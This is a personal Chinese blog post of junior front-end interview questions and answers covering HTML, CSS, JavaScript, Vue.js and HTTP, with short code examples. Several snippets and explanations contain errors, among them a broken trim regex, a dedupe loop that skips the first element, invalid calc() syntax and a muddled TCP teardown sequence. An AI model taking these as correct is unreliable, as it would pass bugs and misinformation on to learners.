美文网首页工作生活
2019-07-03 初级前端面试题个人汇总

2019-07-03 初级前端面试题个人汇总

作者: 陈光展_Gz | 来源:发表于2019-07-09 22:39 被阅读0次

    一、HTML


    1.1 你是如何理解HTML语义化的?

    • 语义化指的就是根据内容的结构化,选择合适的标签,便于开发者阅读和维护。

    • 我平时写的代码都是语义化的代码,标题我就写h1-h6,文章我就写article,如果是时间,我就会用timer标签,如果是一个画板我就用canvas标签,这就是HTML语义化。

    1.2 meta viewport 是做什么用的,怎么写?

    (换句话说,你如果手机页面不缩放,应该怎么写)

    <meta name="viewport" content="width=device-width,user-scale=no,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0>
    

    1.3 你用过哪些HTML5标签

    • 内容相关的标签:header main footer article
    • 功能相关的标签:canvas video audio
    • canvas (可用于通过使用JavaScript中的脚本来绘制图形)
    <canvas id="canvas"></canvas>
    
    var canvas = document.getElementById('canvas')//获取画布句柄
    var ctx = canvas.getContext('2d');//需要指明2d上下文
    
    ctx.fillStyle = 'green'
    ctx.fillRect(10,10,100,100)//画一个矩形,参数依次为 x坐标,y坐标,宽度,高度
    

    2D上下文:从坐标的左上角的,width 和 height 水平和垂直方向的可用像素

    • video ( 用于在HTML或者XHTML文档中嵌入媒体播放器,用于支持文档内的视频播放)
    <video controls autoplay>
        <source src="myVideo.mp4" type="video/mp4">
        <source src="myVideo.webm" type="video/webm">
        <p>Your browser doesn't support HTML5 video. Here is
           a <a href="myVideo.mp4">link to the video</a> instead.</p>
    </video>
    

    在HTML中写入video标签,属性有controls,autoplay,标签里面写几个source标签,这是因为不同的浏览器支持的播放格式不一定一致,然后浏览器会使用它所支持的第一个源。

    1.4 H5是什么?

    • 移动端页面

    1.5 canvas跟svg的区别

    1.5 响应式布局

    • css根据屏幕宽度,自动调整网页div显示和布局,以适应不同尺寸屏幕优化浏览体验。

    二、CSS


    2.1 两种盒模型

    • 分为border-box(IE盒模型)和content-box(W3C盒模型)
    • 区别:border-box的宽度width将padding和border算在里面,而content-box没有
    • 举个例子:如果我需要一个这样的布局,要一个div的整体宽度是页面的50%,并且这个div还带一个10px的边框

    IE盒模型

    div{
      width:50%;
      border:10px solid black;
      box-sizing:border-box;/* 设置为IE盒模型标准 */
    }
    

    W3C模型

    div{
       width:calc(50%-20px);
       border:10px solid black
    }
    

    css3的计算属性calc()兼容性一般

    2.2 如何实行垂直居中

    • 若元素是单行文本, 则可设置 line-height 等于父元素高度
    • 在不在的自己的高度和父容器的高度时候,利用绝对定位是需要三行:
    .father{
      position:relative
    }
    .child{
      positon:absolute;
      top:50%;
      transform:translateY(-50%)
    }
    
    • 不考虑兼容性的话,用Flex布局
    .father{
      display:flex;
      align-items:center;
    }
    

    2.2 如何实行水平居中

    • 若是行内元素, 给其父元素设置 text-align:center,即可实现行内元素水平居中.
    • 若是块级元素, 该元素设置 margin:0 auto即可.

    水平居中较为简单, 共提供了8种方法, 一般情况下 text-align:center,marin:0 auto; 足矣
    ① text-align:center;
    ② margin:0 auto;
    ③ width:fit-content;
    ④ flex
    ⑤ 盒模型
    ⑥ transform
    ⑦ ⑧ 两种不同的绝对定位方法

    垂直居中, 共提供了8种方法.
    ① 单行文本, line-height
    ② 单行或多行文字, 使用 display: inline-block, vertical-align: middle; 加上伪元素辅助实现
    ③ 在最外層寫一個偽table,也就是display:table,然後在要垂直置中的區塊,加上display:table-cell以及vertical-align: middle
    ④ flex
    ⑤ 盒模型
    ⑥ transform
    ⑦ ⑧ 两种不同的绝对定位方法

    设置父元素相对定位(position:relative), 子元素如下css样式:

    .son{
        position:absolute;
        top:50%;
        height:固定;
        margin-top:-0.5高度;
    }
    
    .son{
        position:absolute;
        height:固定;
        top:0;
        bottom:0;
        margin:auto 0;
    }
    

    2.3 flex怎么用,常用的属性有哪些

    • Flex布局的父元素共有6种属性可以设置

    flex-direction属性决定主轴的方向
    flex-wrap属性决定当子元素的总和大于父元素时候是否换行
    flex-flow属性是flex-direction和flex-wrap的组合,它是将这两个属性写到一起,先写flex-direction,后写flex-wrap,默认值为row nowrap
    justify-content属性定义子元素在主轴上的对齐方式
    align-items属性定义子元素在侧轴上的对齐方式
    align-content属性定义子元素多根轴线在侧轴上的对齐方式,只在多行显示下有效。

    • Flex布局的子元素共有6种属性可以设置

    flex-grow 属性表示当父元素空间有剩余时,将剩余空间分配给各子元素的比例
    flex-shrink属性与flex-grow属性的作用相反,表示当子元素宽度总和大于父元素宽度,且未换行显示时,各子元素压缩大小,默认为1,表示各子元素等比压缩
    flex-basis属性可以用来设置子元素的空间,默认值为auto,表示为原本大小
    flex属性是flex-grow、flex-shrink和flex-basis的合集,默认值为0 1 auto,后两个属性可不写
    order属性定义子元素在排列顺序,默认值为0,值越小越靠前
    align-self属性允许子元素单独设置对齐方式,优先级比父元素的align-items高。默认值为auto,表示继承父元素的align-items

    Flex布局

    2.4 BFC是什么?

    • BFC的名称是块级格式化上下文
    • 如果我们给一个div加上overflow:hidden,那么这个div里面的浮动元素就会被他包裹起来。
    • 通俗一点来讲,触发BFC就是将触发的区域当作一个容器,,这个容器管理着里面的块级元素。BFC内部元素与与外部元素相互隔离,从而使内外元素的定位不会相互影响。

    2.5 CSS选择器的优先级

    • 越具体优先级越高
    .xxx
    :not(.xxx):first-child{}
    
    • 写在后面的覆盖前面的
    • important!优先级最高,少用

    2.5 清除浮动

    .clearfix{
        content:'';
        display:block;
        clear:both;
    }
    
    .clearfix 加到容器元素上,里面的子元素的浮动就被清除了
    

    2.6 rem

    • rem是相对于根元素的字体大小的单位

    2.7 行内元素,块状元素,行内块元素

    2.7.1 行内元素

    • 设置宽高无效
    • 对margin仅设置左右方向有效,上下无效
    • 不会自动进行换行

    2.7.2 块状元素

    • 能够识别宽高
    • margin和padding的上下左右均对其有效
    • 可以自动换行
    • 多个块状元素标签写在一起,默认排列方式为从上至下

    2.7.3 行内块元素

    • 不自动换行
    • 能够识别宽高
    • 默认排列方式为从左到右

    2.7.4 行内块元素在同一行显示时有默认空隙,如何解决

    • 原因:换行显示或空格分隔的情况下会有间距
    • 使用margin负值
    • 父元素使用font-size:0
    .space {
        font-size: 0;
    }
    .space a {
        font-size: 12px;
    }
    
    • 使用letter-spacing
    • 使用word-spacing

    三、原生JS

    3.1 ES6语法知道哪些,分别怎么用?

    3.1.1 let const

    • let的作用域是块,而var的作用域是函数,let其作用域为该语句所在的代码块内,不存在变量提升;
    • const定义的变量不可以修改,而且必须初始化,以及不能重新声明。

    const定义的变量,不能修改栈内对应的值或者地址。

    • 函数提升优先于变量提升,函数提升会把整个函数挪到作用域顶部,变量提升只会把声明挪到作用域顶部
    • var 存在提升,我们能在声明之前使用。 let 、 const 因为暂时性死区的原因,不能在声明前使用
    • var 在全局作用域下声明变量会导致变量挂载在 window 上,其他两者不会
    • let 和 const 作用基本一致,但是后者声明的变量不能再次赋值
    const有let的所有特性;
    然后const不一定是常量
    const obj = {a:1}
    obj.a=2
    obj.b=2
    是可行的,
    const obj = {a:1}
    obj = {a:2}
    不可行,
    

    3.1.2 箭头函数

    1. 没有 this
    2. 没有 arguments
    3. 不能通过 new 关键字调用
    4. 没有原型
    var Foo = () => {};
    var foo = new Foo(); // TypeError: Foo is not a constructor
    

    3.1.3 函数默认参数值

    function multiply(a, b = 1) {
      return a * b;
    }
    

    3.1.4 展开运算符

    3.1.5 模板字符串

    let bianliang = 1111;
    console.log(`输出的会是 ${bianliang}`);
    

    3.1.5 解构赋值

    var a, b;
    
    [a=5, b=7] = [1];
    console.log(a); // 1
    console.log(b); // 7
    

    3.1.6 Promise

    • Promise 对象用于表示一个异步操作的最终状态(完成或失败),以及该异步操作的结果值。
    • Promise 最直接的好处就是链式调用

    3.2 手写函数防抖,函数节流

    3.2.1 函数防抖

    function fn(){}
    var timerId = null
    button.onclick = function(){
      if(timerId){
        window.clearTimeout(timerId)
      }
      timerId = setTimeout(()=>{
        fn()
        timerId = null
      },5000)
    }
    

    3.2.2 函数节流

    function fn(){}
    let cd = false
    button.onclick = funciton(){
      if(cd){
        
      }else{
        fn()
        cd = true
        let timerId = setTimeout(()=>{
          cd = false
        },5000)
      }
    }
    

    3.4 手写AJAX

    let request = new XMLHttpRequest()
    request.open('GET','/xxx')
    request.onreadystatechange = function(){
        if(request.readyState === 4){
            console.log('请求完成')
            if(request.response.status >= 200 && request.response.status < 300){
                console.log('请求成功')
            }else{
    
            }
        }
        
    }
    request.send()
    

    3.5 this (如何正确判断 this?箭头函数的 this 是什么?)

    • 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方, this 一定是 window
    • 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this ,所以在这个场景下 foo 函数中的
      this 就是 obj 对象
    • 对于 new 的方式来说, this 被永远绑定在了 c 上面,不会被任何方式改变 this
    1. fn()
    this => window
    2. obj.fn()
    this => obj
    3. fn.call(xxx)
    this => xxx
    4. fn.bind(xxx)
    this => xxx
    5. fn.apply(xxx)
    this => xxx
    6. new Fn()
    this => 新的对象
    7. fn=()=>{}
    this => 外面的this
    

    3.6 闭包及其立即执行函数

    3.6.1 闭包

    • 概念:一个函数和这个函数内部能访问到的变量(也叫环境)的总和就是闭包


    • 作用:通常用来创建内部变量,使得这些变量不能被外部随意修改,同时又可以通过指定的函数接口来操作。
    • 缺点:内存消耗大,IE容易造成内存泄露,函数调用完手动回收变量!

    3.6.2 立即执行函数

    • 概念:声明一个匿名函数,然后立马执行这个函数


    • 作用:创建一个独立的作用域。这个作用域里面的变量,外面访问不到(即避免「变量污染」)。

    3.7 什么是JSONP,什么是CORS,什么是跨域?

    3.7.1 JSONP

    概念:JSONP是一种非正式传输协议,用来跨域请求的
    原理:允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。

    <script src="http://api.jirengu.com/weather.php?callback=showData"></script>
    
    
    • JSONP优点是简单兼容性好,可用于解决主流浏览器的跨域数据访问的问题。缺点是仅支持get方法具有局限性,不安全可能会遭受XSS攻击
    1. 知道 jsonp 么?
    答:知道,可以实现跨域请求;
    
    2. 为什么 ajax 不可以,但是 jsonp 可以实现跨域请求呢?
    答:因为 jsonp 是通过插入一个 script 标签,利用 script 可以跨域请求来实现的。
    答:面试官傻逼,ajax 现在也可以使用 cors 来做跨域请求;
    
    2.5 jsonp 实现原理?
    答:通过创建一个 script 标签,将 src 设置为目标请求,插入到 dom 中,服务器接受该请求并返回数据,数据通常被包裹在回调钩子中;
    
    3.  可以用 jsonp 发送 post 请求么?
    答:显然不行,因为JSONP是通过动态创建<srcipt>标签来发送请求,<srcipt>只支持发送GET请求
    
    4. 参考 jsonp,还有那些发送跨域请求的途径?
    答:img link iframe 等元素都可以发送跨域请求呀!
    
    5. img link iframe script 来发送跨域请求有什么优缺点?
    
    

    3.7.2 CROS

    概念:跨域资源共享,是AJAX跨域请求资源的方式

    Access-Control-Allow-Origin的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求。

    // 限制当前请求http://a.code.com:8080可以获取数据
    header("Access-Control-Allow-Origin", "http://a.code.com:8080"); 
    // 接受任何请求
    // header("Access-Control-Allow-Origin", "*");
    

    CORS和JSONP的应用场景区别?

    CORS要求浏览器(>IE10)和服务器的同时支持,是跨域的根本解决方法,由浏览器自动完成。优点在于功能更加强大支持各种HTTP Method,缺点是兼容性不如JSONP。

    3.7.3 跨域

    • 协议+域名+端口

    3.8 async/await 怎么用,如何捕获异常?

    • await 只能放在async函数里面
    • 为什么要用 await

    async/await是generator的语法糖,让异步代码写成同步的样式

    • 所有async函数都会返回一个Promise函数
    • 如果要await多个请求,需要借用Promise.all()
    async function test(){
      try{
        let n = await Promise.all([fn1,fn2])
      }catch(err){
        console.log('失败的结果')
      }
    }
    

    3.9 JS如何实现对象深拷贝

    • 递归
    • 判断类型
    • 循环引用
    • 深拷贝,就是遍历那个被拷贝的对象
    • 判断对象里每一项的数据类型
    • 如果不是对象类型,就直接赋值,如果是对象类型,就再次调用deepCopy,递归的去赋值。
    function deepClone(source){
      const targetObj = source.constructor === Array ? [] : {}; // 判断复制的目标是数组还是对象
      for(let keys in source){ // 遍历目标
        if(source.hasOwnProperty(keys)){ // 意思就是__proto__上面的属性,我不拷贝
          if(source[keys] && typeof source[keys] === 'object'){ // 如果值是对象,就递归一下
            targetObj[keys] = source[keys].constructor === Array ? [] : {};
            targetObj[keys] = deepClone(source[keys]);
          }else{ // 如果不是,就直接赋值
            targetObj[keys] = source[keys];
          }
        } 
      }
      return targetObj;
    }
    

    var targetObj = JSON.parse(JSON.stringify(copyObj))

    如果你的对象里有函数,函数无法被拷贝下来
    无法拷贝copyObj对象原型链上的属性和方法

    3.10 如何用正则实现trim

    function trim(string){
      return string.replace(/^\s + |\s + $/g,'')
    }
    

    3.11 不用class实现继续

    原型,继承

    3.11.1 原型模式

    • 每个函数都有一个prototype(原型)属性
    • 这个属性都有一个指针,指向一个对象(原型对象)
    • 这个对象包含由特定类型所有实例共享的属性和方法
    • 使用原型的好处是 可以让所有对象实例共享它包含的方法和属性
    • 对象的 _proto_ 属性指向原型, _proto_ 将对象和原型连接起来组成了原型链

    3.11.2 原型链

    在 javaScript 中,每个对象都有一个指向它的原型(prototype)对象的内部链接。这个原型对象又有自己的原型,直到某个对象的原型为 null 为止(也就是不再有原型指向),组成这条链的最后一环。这种一级一级的链结构就称为原型链

    • 不用class实现继承
    function Animal(color){
        this.color = color
    }
    Animal.prototype.move = function(){}
    
    function Dog(color,name){
        Animal.call(this,color) //得分点
        this.name = name
    }
    
    function temp(){}
    temp.prototype = Animal.prototype
    Dog.prototype = new temp()
    
    Dog.prototype.constructor = Dog
    Dog.prototype.say = ()=>{console.log('汪汪')}
    
    var dog = new Dog('黄色','阿黄')
    
    • 用class实现继承
    class Animal{
        constructor(color){
            this.color = color
        }
        move(){
            console.log(this)
        }
    }
    
    class Dog extends Animal{
        constructor(color,name){
            super(color)
            this.name = name
        }
        say(){
            console.log('汪汪')
        }
    }
    
    let dog = new Dog('颜色','姓名')
    
    

    3.12 实现数组去重

    1. hash
    2. [...new Set(array)]
    3. WeakMap (支持所有类型的去重 )
    ES5 
    function unique(array){
        let hash = {}
        let number = []
        for(let i = 1;i<array.length;i++){
            if(hash[array[i]] === undefined){
                number.push(array[i])
                hash[array[i]] = 1
            }
        }
        return number
    }
    
    ES 6
    function unique(array){
        return Array.from(new Set(array))
    }
    

    3.13 手写Promise

    function Promise(executor) {
        let self = this;
        self.status = 'pending'; //等待态
        self.value = undefined;  //成功的返回值
        self.reason = undefined; //失败的原因
    
        function resolve(value) {
            if (self.status === 'pending') {
                self.status = 'resolved';
                self.value = value;
            }
        }
        function reject(reason) {
            if (self.status === 'pending') {
                self.status = 'rejected';
                self.reason = reason;
            }
        }
        try {
            executor(resolve, reject);
        } catch (e) {
            reject(e);// 捕获时发生异常,就直接失败
        }
    }
    //onFufiled 成功的回调
    //onRejected 失败的回调
    Promise.prototype.then = function (onFufiled, onRejected) {
        let self = this;
        if (self.status === 'resolved') {
            onFufiled(self.value);
        }
        if (self.status === 'rejected') {
            onRejected(self.reason);
        }
    }
    module.exports = Promise;
    

    测试

    let Promise = require('./Promise');
    
    let promise = new Promise(function (resolve, reject) {
        resolve(100);
    })
    
    promise.then(function (data) { 
        console.log('data:', data);
    },function (err) {
        console.log('err:', err);
    })
    

    3.14 如何判断变量的类型

    3.14.1 typeof vs instanceof

    涉及面试题:typeof 是否能正确判断类型?instanceof 能正确判断对象的原理是什么?

    • typeof 对于原始类型来说,除了 null 都可以显示正确的类型
    • typeof 对于对象来说,除了函数都会显示 object
    typeof [] // 'object'
    typeof {} // 'object'
    typeof console.log // 'function'
    
    • instanceof 能正确判断对象的原理:因为内部机制是通过原型链来判断

    3.15 在JavaScript中,有三种常用的绑定事件的方法

    1. 在DOM元素中直接绑定;
    <input onclick="alert('谢谢支持')" type="button" value="点击我,弹出警告框" />
    
    1. 在JavaScript代码中绑定;
    例如,为 id="demo" 的按钮绑定一个事件,显示它的 type 属性:
    <input id="demo" type="button" value="点击我,显示 type 属性" />
    <script type="text/javascript">
        document.getElementById("demo").οnclick=function(){
            alert(this.getAttribute("type")); 
        }
    </script>
    
    1. 绑定事件监听函数
    button.addEventListener("click", function (evt) { ... }, true); // IE9, IE9+, Chrome, Safari, Opera
    button.attatchEvent("onclick", function () { ... }); // IE9-
    

    3.16 数组里面有哪些遍历方法

    3.16.1 for循环

    var a = [1, 2, 3, 4, 5];
    for (var i = 0; i < a.length; i++) {
      console.log(a[i]);
    }
    

    3.16.2 forEach,some和every

    • forEach 会遍历数组中的所有值并忽略回调函数的返回值
    var a = [1, 2, 3, 4, 5];
    a.forEach(function (i) {
      console.log(i);//1 2 3 4 5
      // return true ,return false 或者不写返回值,结果都一样
    })
    
    • some(..):一直运行直到回调函数返回 true (或者“真”值).返回true时相当于在for循环里break,会提前终止循环
    var a = [1, 2, 3, 4, 5];
    a.some(function (i) {
      if (i === 3) {
        return true;
      }
      console.log(i); //1 2
      return false;//回调函数默认返回false,这里不写也可以
    });
    
    • every(..):一直运行直到回调函数返回 false (或者“假”值).返回false时相当于在for循环里break,会提前终止循环
    var a = [1, 2, 3, 4, 5];
    a.every(function (i) {
      if (i === 3) {
        return false;
      }
      console.log(i);//1 2
      return true;//回调函数默认返回false,这里return true必须要写,否则在遍历第一个属性值之后就会终止循环
    })
    

    3.16.3 for..in和for..of

    • for..in循环可遍历对象的所有可枚举属性,所以一般用来遍历对象而不是数组,否则如果数组对象包含其他可枚举属性,遍历结果就会和期望结果不同
    var a = [1,2,3];
    a.ex = "ex";
    //注意这里遍历的只是属性
    for(var i in a){
      console.log(i); // 0 1 2 ex
    }
    
    • for..of :为了弥补for..in循环遍历数组的缺陷,ES6推出了for..of循环

    3.16.4 map() ,filter(),reduce()

    3.16.5 while

    3.17 JS的执行机制

    • javascript是一门单线程语言
    • Event Loop是javascript的执行机制


    3.18.1 浏览器中的 Event Loop

    macro-task(宏任务): setTimeout, setInterval, setImmediate(ie浏览器特有),MessageChannel
    micro-task(微任务): Promise.then,Object.observe(已废弃), MutationObserver

    • 首先执行同步代码,这属于宏任务
    • 当执行完所有同步代码后,执行栈为空,查询是否有异步代码需要执行
    • 执行所有微任务
    • 当执行完所有微任务后,如有必要会渲染页面
    • 然后开始下一轮 Event Loop,执行宏任务中的异步代码,也就是 setTimeout 中的回调函数

    3.18.2 Node 中的 Event Loop

    macro-task(宏任务): setTimeout, setInterval, setImmediate, I/O
    micro-task(微任务): process.nextTick,Promise.then,Object.observe(已废弃), MutationObserver(vue中使用但由于不兼容放弃)

    • Node 的 Event Loop 分为 6 个阶段,它们会按照顺序反复运行。每当进入某一个阶段的时候,都会从对应的回调
      队列中取出函数去执行。当队列为空或者执行的回调函数数量到达系统设定的阈值,就会进入下一阶段。

    3.19 call()、apply()、bind()

    • 不同之处在于,call 方法传递给调用函数的参数是逐个列出的,而 apply 则是要写在数组中。
    • 核心要点: 可以看出 call 和 apply 是为了动态改变 this 而出现的,当一个 Object 没有某个方法,但是呢,其它的对象有,我们可以借助 call 或 apply 用其它对象的方法来操作。
    • bind 方法传递给调用函数的参数可以逐个列出,也可以写在数组中。bind 方法与 call、apply 最大的不同就是前者返回一个绑定上下文的函数,而后者是直接执行了函数

    3.19.1 手写bind

    Function.prototype.myBind = function (context) {
      if (typeof this !== 'function') {
        throw new TypeError('Error')
      }
    const _this = this
    const args = [...arguments].slice(1)
    // 返回一个函数
      return function F() {
    // 因为返回了一个函数,我们可以 new F(),所以需要判断
        if (this instanceof F) {
         return new _this(...args, ...arguments)
        }
        return _this.apply(context, args.concat(...arguments))
       }
    }
    

    四、Vue.js

    4.1 watch 和 computed 区别是什么?

    • watch 是监听数据,computed 是计算属性
    • computed属性只在依赖的数据发生变化时,才会重新计算,否则当多次调用computed属性时,调用的其实是缓存;watch则每调用一次就计算一次;

    4.2 Vue有哪些生命周期钩子函数?分别有什么用?

    • beforeCreate :可以在这加个loading事件
    • created:在这里结束loading,还做一些初始化,实现函数自执行
    • mounted:在这里发起axios请求,拿回数据,配合路由钩子做其他事情
    • updated:监听data里面所有的数据
    • beforeDestory,destoryed:但组件已被删除,清空相关内容

    4.3 Vue如何实现组件间的通信

    • 父子组件:1. 父传子,用props 2. 子传父,$emit('xxx',data) $on('xxx',function(){})
    • 爷孙组件,兄弟组件: eventBus var eventBus = new Vue(); eventBus.$emit() eventBus.$on()
    • Vuex

    Vuex是专门为Vue.js开发的全局状态管理工具

    4.4 Vue数据响应式怎么做到的?

    • 当你把一个普通的 JavaScript 对象传入 Vue 实例作为 data 选项,Vue 将遍历此对象所有的属性,并使用 Object.defineProperty把这些属性全部转为 getter/setter。
    • 在mount时,实例了一个Watcher,它会在组件渲染的过程中把“接触”过的数据属性记录为依赖。之后当依赖项的 setter 触发时,会通知 watcher,从而使它关联的组件重新渲染。

    vue面试题

    4.5 Vue.set是做什么用的?

    • 当你想添加新的根级响应式属性时候用
    mounted () {
        this.$set(this.student,"age", 24)
    }
    

    4.6 Vuex你是这么用的?

    • 5个属性:state,getter,mutation,action,module
    • state的作用:类似于Vue对象里面的data,里面存放的数据是响应式的。
    • getter的作用:可以对State进行计算操作,她就是store的计算属性
    • mutation的作用:是Vuex修改state的唯一推荐方法,mutation用于修改state的数据,是同步的
    • action的作用:类似于 mutation, 不同在于:action 提交的是 mutation,而不是直接变更状态,action 可以包含任意异步操作
    • module的作用:项目特别复杂的时候,可以让每一个模块拥有自己的state、mutation、getters、action.,使得结构清晰,方便管理。

    4.7 Vue-Router你怎么用的?

    • Vue Router是官方的路由管理器

    全局导航钩子

    • router.beforeEach(to,from,next) 作用主要是用于登录验证
    • router.beforeResolve(to, from, next),
    • router.afterEach(to, from )

    组件內钩子

    • beforeRouteEnter,
    • beforeRouteUpdate,
    • beforeRouteLeave

    单独路由独享组件

    • beforeEnter

    4.7.1 active-class 是哪个组件的属性?嵌套路由怎么定义

    • active-class 是 vue-router 模块的 router-link 组件的属性
    • 使用 children 定义嵌套路由

    4.7.2 怎么定义 vue-router 的动态路由? 怎么获取传过来的值

    • 在 router 目录下的 index.js 文件中,对 path 属性加上 /:id。
    • 使用 router 对象的 params.id 获取

    4.7.3 $route和$router的区别

    • $route是“路由信息对象”,包括path,params,hash,query,fullPath,matched,name等路由信息参数。
    • $router是“路由实例”对象包括了路由的跳转方法,钩子函数等。

    4.7.4 指令keep-alive

    <keep-alive></keep-alive> 包裹动态组件时,会缓存不活动的组件实例,主要用于保留组件状态或避免重新渲染。
    大白话: 比如有一个列表和一个详情,那么用户就会经常执行打开详情=>返回列表=>打开详情…这样的话列表和详情都是一个频率很高的页面,那么就可以对列表组件使用<keep-alive></keep-alive>进行缓存,这样用户每次返回列表的时候,都能从缓存中快速渲染,而不是重新渲染

    <component :is='curremtView' keep-alive></component>
    

    4.7.5 路由守卫

    • 概念:导航守卫就是路由跳转过程中的一些钩子函数。

    4.7.6 hash和history的区别

    • Hash 模式只可以更改 # 后面的内容,History 模式可以通过 API 设置任意的同源 URL
    • History 模式可以通过 API 添加任意类型的数据到历史记录中,Hash 模式只能更改哈希值,也就是字符串
    • Hash 模式无需后端配置,并且兼容性好。History 模式在用户手动输入地址或者刷新页面的时候会发起 URL
      请求,后端需要配置 index.html 页面用于匹配不到静态资源的时候

    4.8 vue 的双向绑定的原理是什么

    vue.js 是采用数据劫持结合发布者-订阅者模式的方式,通过 Object.defineProperty()来 劫持各个属性的 setter,getter,在数据变动时发布消息给订阅者,触发相应的监听回调。

    4.9 对MVVM框架的理解,它和其它框架(jquery)的区别是什么?哪些场景适合?

    • 一个model+view+viewModel框架,数据模型model用户操作界面view,viewModel连接这两个,
      在使用过程中,利用双向绑定技术,当Model变化时,ViewModel会自动更新,而ViewModel变化时,View也会自动变化
    • 区别:vue数据驱动,通过数据来显示视图层而不是节点操作。
    • 场景:数据操作比较多的场景,更加便捷

    4.10 v-slot

    • 是对组件的扩展,通过slot插槽向组件内部指定位置传递内容,通过slot可以父子传参

    4.11 v-for中的key值

    • 当 Vue 正在更新使用 v-for 渲染的元素列表时,它默认使用“就地更新”的策略
    • 为了给 Vue 一个提示,以便它能跟踪每个节点的身份,从而重用和重排现有元素
    • 为了高效的更新虚拟DOM

    4.12 v-if 和 v-show

    • v-if是动态的向DOM树内添加或者删除DOM元素;v-show是通过设置DOM元素的display样式属性控制显隐

    五、 HTTP

    5.1 HTTP状态码

    • 200 (成功)服务器已经成功处理了请求。
    • 201 (已创建)请求成功并且服务器创建了新的资源。
    • 204 (无内容)服务器成功处理了请求,但是没有返回任何内容
    • 300 (多种选择)针对请求,服务器可执行多种操作。
    • 301 (永久重定向)请求的网页已永久移动到新的位置。
    • 302 (临时重定向)请求的资源已被分配了新的URI,希望用户能使用新的URI访问
    • 303 (查看其他位置)请求对应的资源存在着另一个URI,应使用GET方法定向获取请求的资源
    • 304 (未修改) 自从上次请求后,请求的网页未修改过。
    • 400 (错误请求) 服务器不理解请求的语法。
    • 401 (未授权) 请求要求身份验证。
    • 403 (禁止) 服务器拒绝请求。
    • 404 (未找到) 服务器找不到请求的网页。
    • 414 (请求的 URI 过长) 请求的 URI(通常为网址)过长,服务器无法处理。
    • 500 (服务器内部错误) 服务器遇到错误,无法完成请求。
    • 502 (错误网关) 服务器作为网关或代理,从上游服务器收到无效响应。
    • 503 (服务不可用) 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
    • 504 (网关超时) 服务器作为网关或代理,但是没有及时从上游服务器收到请求。

    5.2 HTTP缓存有几种

    强制缓存和协商缓存

    5.3 GET和POST请求的区别

    • GET是向服务器端请求数据,POST是向服务器提交数据。(正确的说法)
    • GET URL有长度限制的,而POST没有。
    • GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
    • GET参数通过URL传递,POST放在消息体中。
    • GET 只需要一个报文,POST需要两个及以上
    • GET 幂等,POST不幂等(幂等:你发多次请求是不会改变数据库里面的东西,而POST不一定。)

    5.4 Cookie LocalStorage SessionStorage Seccion

    5.4.1 Cookie 和 Session的区别

    • Cookie是服务器发给客户端的一段字符串,浏览器在每次访问对应域名的时候都要带上这个字符串
    • Session 是会话,表示浏览器和服务器一段时间内的会话
    • Session是在服务器上,Cookie是在浏览器上
    • Session一般是基于Cookie实现的,把Session_ID放到Cookie里面

    5.4.2 Cookie 和 LocalStorage

    • Cookie一般是4K,LocalSrotage一般是5M
    • Cookie一般是存用户信息的,LocalSrotage存储不重要的东西
    • Cookie会发送到服务器的,LocalSrotage不会

    5.4.2 SessionStorage和 LocalStorage

    • LocalStorage一般不会过期,SessionStorage会在Session结束时候过期

    5.4.3 如果浏览器禁用cookie,怎么办?

    • URL重写,就是把session id直接附加在URL路径的后面。
    http://www.test.com/test;jsessionid=ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764
    
    • 表单隐藏字段。就是服务器会自动修改表单,添加一个隐藏字段,以便在表单提交时能够把session id传递回服务器。
    <form name=”"testform”" action=”"/xxx”"> <input type=”"hidden”" name=”"jsessionid”" value=”"ByOK3vjFD75aPnrF7C2HmdnV6QZcEbzWoWiBYEnLerjQ99zWpBng!-145788764″”> <input type=”"text”"> </form>
    

    5.5 HTTP和HTTPS的区别

    • HTTP 的URL 以http:// 开头,而HTTPS 的URL 以https:// 开头
    • HTTP 标准端口是80 ,而 HTTPS 的标准端口是443
    • HTTP工作于应用层,而HTTPS 的安全传输机制工作在传输层
    • HTTP 无法加密,而HTTPS 对传输的数据进行加密
    • HTTP无需证书,而HTTPS 需要CA机构的SSL证书

    5.6 HTTP 1.1 和 HTTP 2.0 的区别

    • 多路复用
      做到同一个连接并发处理多个请求,而且并发请求的数量比HTTP1.1大了好几个数量级。
      当然HTTP1.1也可以多建立几个TCP连接,来支持处理更多并发的请求,但是创建TCP连接本身也是有开销的。
    • 数据压缩
      HTTP1.1不支持header数据的压缩,HTTP2.0使用HPACK算法对header的数据进行压缩,这样数据体积小了,在网络上传输就会更快
    • 服务器推送
      意思是说,当我们对支持HTTP2.0的web server请求数据的时候,服务器会顺便把一些客户端需要的资源一起推送到客户端,免得客户端再次创建连接发送请求到服务器端获取。这种方式非常合适加载静态资源。
      服务器端推送的这些资源其实存在客户端的某处地方,客户端直接从本地加载这些资源就可以了,不用走网络,速度自然是快很多的。

    5.7 从输入URL到页面展现中间发生了什么?

    1、浏览器的地址栏输入URL并按下回车。
    2、浏览器查找当前URL是否存在缓存,并比较缓存是否过期。
    3、DNS解析URL对应的IP。
    4、根据IP建立TCP连接(三次握手)。
    5、HTTP发起请求。
    6、服务器处理请求,浏览器接收HTTP响应。
    7、渲染页面,构建DOM树。
    8、关闭TCP连接(四次挥手)

    5.7.1 三次握手

    • 客户端发送syn报文,并置发送序号为X
    • 服务器发送syn+ack报文,并置发送序号为Y,确认序号为X+1
    • 客户端发送ack报文,并置发送序号为Z,确认序号为Y+1

    5.7.2 四次挥手

    • 主动方放送Fin+ack报文,并置发送序号为Z
    • 被动放发送ack报文,并置发送序号为Z,在确认序号为X+1
    • 被动方发送Fin +ack 报文,并置发序号为Y,在确认序号为X
    • 主动方发送Fin +ack报文,并置发送序号为X,在确认序号为Y

    5.7.3 为什么建立连接协议是三次握手,而关闭连接却是四次握手呢?

